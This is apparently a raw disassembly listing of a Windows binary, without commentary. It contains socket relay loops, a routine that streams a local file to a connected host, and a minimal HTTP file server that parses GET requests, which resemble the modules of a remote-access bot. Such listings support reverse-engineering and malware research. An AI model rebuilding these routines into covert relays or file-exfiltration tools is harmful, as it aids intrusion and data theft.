		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47F:				; CODE XREF: ___:0040E49Bj
					; ___:0040E4B7j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE394
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_40E47F
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE390
		call	near ptr 26E0000h
		nop
		jmp	short loc_40E47F
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C2:				; CODE XREF: ___:0040E4E8j
					; ___:0040E502j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE384
		call	near ptr 26F0000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C2
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE394
		call	dword_4CB6A4
		jmp	short loc_40E4C2
; ---------------------------------------------------------------------------
dword_40E504	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2D0Eo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 59E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB654h, 6A56066Ah, 45896602h, 0D415FFCAh
		dd 89004CB6h, 458D0845h, 50106AC8h, 0FF0875FFh,	4CB68015h
		dd 0FF056A00h, 15FF0875h, 4CB67Ch, 70FC1D8Bh, 358B0042h
		dd 427068h, 75FF5757h, 0E815FF08h, 0A3004CB6h, 4CE394h
		dd 57F4458Dh, 0E3906850h, 8C68004Ch, 0C7004CE3h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE388h
		dd 4CE38468h, 6AD3FF00h, 84458D44h, 0BDE85057h,	0A10000CFh
		dd 4CE38Ch, 890CC483h, 88A1BC45h, 89004CE3h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 203CE8B4h, 5090022Fh, 0E38835FFh,	0E890004Ch
		dd 22F202Eh, 0E5E89050h, 8D022F19h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433C0468h
		dd 95E85700h, 90022425h, 50E8458Dh, 0B9685757h,	8D0040E4h
		dd 5057F445h, 19AAE890h, 45890226h, 0E8458DECh,	68575750h
		dd 40E476h, 57F4458Dh, 1992E850h, 6A900226h, 0F04589FFh
		dd 90D875FFh, 271AE7E8h, 75FF5702h, 0FE890F0h, 57022722h
		dd 0E8EC75FFh, 2272206h, 0F075FF90h, 75FFD6FFh,	57D6FFECh
		dd 0E8D875FFh, 22E2346h, 8C35FF90h, 0FF004CE3h,	9035FFD6h
		dd 0FF004CE3h, 8435FFD6h, 0FF004CE3h, 8835FFD6h, 0FF004CE3h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9F9Dh, 0E39CA359h
		dd 0C359004Ch
dword_40E6F0	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BACE+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 6DE85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB654h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CB6D415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFB2FFh, 8D14C483h, 0FFFD4085h, 2AE850FFh
		dd 0FF00006Ah, 0FFFF54B5h, 0CC85E8FFh, 5959FFFFh, 69E89053h
		dd 8B022C18h, 0FFFF5485h, 69106AFFh, 234C0h, 9CB88900h
		dd 8D0043E5h, 5750EC45h, 0B68015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB5E815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB27Fh, 8D14C483h
		dd 0FFFD4085h, 0AAE850FFh, 0FF000069h, 0FFFF54B5h, 0CC05E8FFh
		dd 5959FFFFh, 0E9E89056h, 68022C17h, 0FFFEh, 9E63E853h
		dd 0A3590000h, 4CE39Ch,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0B68015FFh, 0C63B004Ch, 15FF5475h, 4CB5E8h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 4E8FFFFh, 83FFFFB2h
		dd 858D14C4h, 0FFFFFD40h, 692FE850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFCB8AE8h, 565959FFh, 2C176FE8h, 56A9002h, 7C15FF57h
		dd 3B004CB6h, 0D4840FC6h, 0C7000000h, 10FC45h, 0CBE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CB6E815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFB186E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 68B1h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB66Ch, 74FFF883h, 0FF565696h, 4CB39035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFC2E4h, 0C685059h, 8D00433Ch, 0FFF94085h
		dd 0E85053FFh, 0D040h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C68FE8h, 8D505900h,	0FFF94085h, 75FF50FFh, 0A415FF08h
		dd 83004CB6h, 840FFFF8h, 0FFFFFF43h, 0E3A405FFh, 38E9004Ch
		dd 57FFFFFFh, 0B6EC15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFCA8AE8h
		dd 6A59FFh, 166EE890h
		db 2Ch,	2
word_40E992	dw 8B55h		; DATA XREF: sub_40BACE+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89E45Dh, 0DC5D89D4h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 57F8E890h, 5356716Ah, 37E8026Ah
		dd 90716A52h, 71F4358Bh, 4D8D0042h, 51046AE4h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AD4h,	8B57FB6Ah
		dd 0FF57F87Dh, 0DC458DD6h, 667E6850h, 90578004h, 6A2B35E8h
		dd 90A16671h, 83004CB3h, 5000B865h, 0B445C766h,	15FF0002h
		dd 4CB654h, 0B6458966h,	6AB4458Dh, 90575010h, 6A5481E8h
		dd 7DC08571h, 0E9C38B07h, 560h,	90570A6Ah, 6A7381E8h, 0D49D8971h
		dd 8BFFFFFDh, 4272241Dh, 0D8BD8900h, 89FFFFFDh,	416AFC7Dh
		dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
		dd 56FFFFFBh, 8B505656h, 5040FC45h, 2DF2E890h, 0F883716Ah
		dd 0E840FFFh, 33000005h, 0FC7539FFh, 7C087D89h,	6AF633C5h
		dd 60858D64h, 56FFFFFDh, 0CACEE850h, 646A0000h,	0FF50858Dh
		dd 5056FFFFh, 0CABFE8h,	18C48300h, 0FBC4858Dh, 5750FFFFh
		dd 17C75E8h, 0FC08500h,	4BA84h,	0F87D3B00h, 458D7A75h
		dd 0F045C7F0h, 10h, 0C4858D50h,	50FFFFFDh, 90F875FFh, 6A9B84E8h
		dd 0FFF88371h, 491840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh
		dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h
		dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h
		dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h
		dd 68156A56h, 433ED4h, 0E9D3FF50h, 43Bh, 60858D56h, 6AFFFFFDh
		dd 0E8575064h, 716A6B18h, 7FC08590h, 0D4958B52h, 33FFFFFDh
		dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h,	3B04C083h
		dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh
		dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh
		dd 57FFFFFDh, 6A2EA4E8h, 0D4E99071h, 8D000003h,	0FFFCC885h
		dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh,	433ECCh
		dd 0DA57E850h, 858D0000h, 0FFFFFF50h, 433EC468h, 71E85000h
		dd 830000D4h, 0C08518C4h, 6A560D75h, 3EAC6816h,	82E90043h
		dd 8D000000h, 0FFFF5085h, 3EA468FFh, 0E8500043h, 0D44Ch
		dd 59C08559h, 6A560A75h, 3E8C6814h, 61EB0043h, 0FF50858Dh
		dd 8468FFFFh, 5000433Eh, 0D42BE8h, 0C0855900h, 560A7559h
		dd 74680D6Ah, 0EB00433Eh, 50858D40h, 68FFFFFFh,	433E6Ch
		dd 0D40AE850h, 85590000h, 0A7559C0h, 68106A56h,	433E58h
		dd 858D1FEBh, 0FFFFFF50h, 433E5468h, 0E9E85000h, 590000D3h
		dd 7559C085h, 1E6A560Eh, 433E3468h, 0F1E95700h,	0BF000002h
		dd 433E2Ch, 0FF50858Dh,	5057FFFFh, 0D3C3E8h, 0C0855900h
		dd 8D247559h, 0FFFCC885h, 3E2868FFh, 0E8500043h, 0D3ACh
		dd 59C08559h, 6A560D75h, 3E146813h, 0B2E90043h,	8D000002h
		dd 0FFFF5085h, 0E85057FFh, 0D38Ch, 59C08559h, 858D2475h
		dd 0FFFFFCC8h, 433E1068h, 75E85000h, 590000D3h,	7559C085h
		dd 136A560Dh, 433DFC68h, 27BE900h, 858D0000h, 0FFFFFF50h
		dd 433DF468h, 51E85000h, 590000D3h, 7559C085h, 0BE0A6A34h
		dd 433DC8h, 0D8BD8D59h,	0F3FFFFFEh, 858D50A5h, 0FFFFFED8h
		dd 0E8A56650h, 0C29Ch, 858D5059h, 0FFFFFED8h, 875FF50h
		dd 0F633D3FFh, 235E9h, 50858D00h, 68FFFFFFh, 433DC0h, 0D306E850h
		dd 85590000h, 2A7559C0h, 0A8BE056Ah, 5900433Dh,	0FF38BD8Dh
		dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C250h
		dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 433DA068h
		dd 0C5E85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h
		dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h,	8D50E845h
		dd 8D50E045h, 8D50D845h, 0FFFD6085h, 3D7868FFh,	0E8500043h
		dd 0D861h, 0FF04858Dh, 0E850FFFFh, 0C989h, 858DF88Bh, 0FFFFFD2Ch
		dd 0C97BE850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh
		dd 0C780h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 3D706857h
		dd 0E8500043h, 0CA5Eh, 858D106Ah, 0FFFFFF04h, 8EE85056h
		dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E8458D50h, 0E0458D50h
		dd 0D8458D50h, 0C4458D50h, 433D6468h, 2BE85000h, 830000CAh
		dd 6A5618C4h, 3D44681Dh, 1EE90043h, 8D000001h, 0FFFF5085h
		dd 3D3C68FFh, 0E8500043h, 0D1F4h, 59C08559h, 0E4850Fh
		dd 6A560000h, 3D106828h, 75FF0043h, 0FFD3FF08h,	458DF475h
		dd 20E850C4h, 59000001h, 5901F883h, 0B6850Fh, 458D0000h
		dd 858D50C4h, 0FFFFF720h, 433CF468h, 0C7E85000h, 830000C9h
		dd 0B5390CC4h, 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh
		dd 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 0AB89E8FFh
		dd 0C483FFFFh, 14AE814h, 0F8830000h, 93850F01h,	56000000h
		dd 0DC68176Ah, 0FF00433Ch, 0D3FF0875h, 50C4458Dh, 0F720858Dh
		dd 0BC68FFFFh, 5000433Ch, 0C969E8h, 0CC48300h, 0FBBCB539h
		dd 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh
		dd 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFFAB2Bh, 8D14C483h
		dd 0FFF72085h, 56E850FFh, 0FF000062h, 4CE16005h, 2EEB5900h
		dd 68206A56h, 433C98h, 858D1FEBh, 0FFFFFF50h, 42D08468h
		dd 0F5E85000h, 590000D0h, 7559C085h, 1B6A560Dh,	433C7C68h
		dd 875FF00h, 646AD3FFh,	0FD60858Dh, 5056FFFFh, 0C5F3E8h
		dd 87D8B00h, 470CC483h,	89FC7D3Bh, 8E0F087Dh, 0FFFFFB01h
		dd 0FFFAC1E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE3A8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE3A8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F037
		push	dword_4CE3A8
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F037:				; CODE XREF: ___:0040F01Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 2660000h
		nop
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B7
		push	edi
		mov	edi, 400h


loc_40F07F:				; CODE XREF: ___:0040F0B4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE3A8
		call	near ptr 71AB1AF4h
		nop
		push	1
		nop
		call	near ptr 2660E9Fh
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07F
		pop	edi


loc_40F0B7:				; CODE XREF: ___:0040F077j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CE3A8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40F0D3:				; CODE XREF: ___:0040F071j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D6	proc near		; DATA XREF: sub_401ACD+2284o
					; sub_40BACE+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB654
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E59C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB67C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB6F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AD:				; CODE XREF: sub_40F0D6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB63C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E3:				; CODE XREF: sub_40F0D6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB540
		test	eax, eax
		jz	loc_40F4A7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F265
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F237
		lea	edx, [ebp+var_134]


loc_40F22B:				; CODE XREF: sub_40F0D6+15Fj
		cmp	[edx], eax
		jz	short loc_40F237
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22B


loc_40F237:				; CODE XREF: sub_40F0D6+14Dj
					; sub_40F0D6+157j
		cmp	ecx, ebx
		jnz	short loc_40F254
		cmp	ebx, 40h
		jnb	short loc_40F254
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F254:				; CODE XREF: sub_40F0D6+163j
					; sub_40F0D6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A7
		mov	[ebp+var_8], eax
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F265:				; CODE XREF: sub_40F0D6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		test	eax, eax
		jg	short loc_40F2F8
		push	esi
		call	dword_4CB6EC
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A7
		lea	eax, [ebp+var_134]


loc_40F2B7:				; CODE XREF: sub_40F0D6+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B7
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2C8:				; CODE XREF: sub_40F0D6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EC
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D6:				; CODE XREF: sub_40F0D6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D6


loc_40F2EC:				; CODE XREF: sub_40F0D6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2F8:				; CODE XREF: sub_40F0D6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A7


loc_40F326:				; CODE XREF: sub_40F0D6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39F
		mov	eax, offset asc_42D124 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B6
; ---------------------------------------------------------------------------


loc_40F39F:				; CODE XREF: sub_40F0D6+27Fj
					; sub_40F0D6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433F14 ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3EA


loc_40F3B6:				; CODE XREF: sub_40F0D6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CB:				; CODE XREF: sub_40F0D6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F326
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F3EA:				; CODE XREF: sub_40F0D6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F434
		lea	eax, [ebp+var_134]


loc_40F3F6:				; CODE XREF: sub_40F0D6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F407
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F6
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F407:				; CODE XREF: sub_40F0D6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42B
		lea	eax, [ebp+ecx*4+var_134]


loc_40F415:				; CODE XREF: sub_40F0D6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F415


loc_40F42B:				; CODE XREF: sub_40F0D6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F434:				; CODE XREF: sub_40F0D6+318j
		mov	esi, [ebp+var_4]


loc_40F437:				; CODE XREF: sub_40F0D6+32Fj
					; sub_40F0D6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F4A0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F4A0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B4
		add	esp, 14h
		jmp	short loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F4A0:				; CODE XREF: sub_40F0D6+369j
					; sub_40F0D6+38Fj
		push	esi
		call	dword_4CB6EC


loc_40F4A7:				; CODE XREF: sub_40F0D6+11Dj
					; sub_40F0D6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E3
		jmp	loc_40F1AD
; ---------------------------------------------------------------------------


loc_40F4BC:				; CODE XREF: sub_40F0D6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C1:				; CODE XREF: sub_40F0D6+6Aj
					; sub_40F0D6+92j ...
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433EEC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F507
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A73
		add	esp, 14h


loc_40F507:				; CODE XREF: sub_40F0D6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_254]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F531	proc near		; DATA XREF: sub_40F6B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F597
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59C
; ---------------------------------------------------------------------------


loc_40F597:				; CODE XREF: sub_40F531+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59C:				; CODE XREF: sub_40F531+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 27113DFh
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
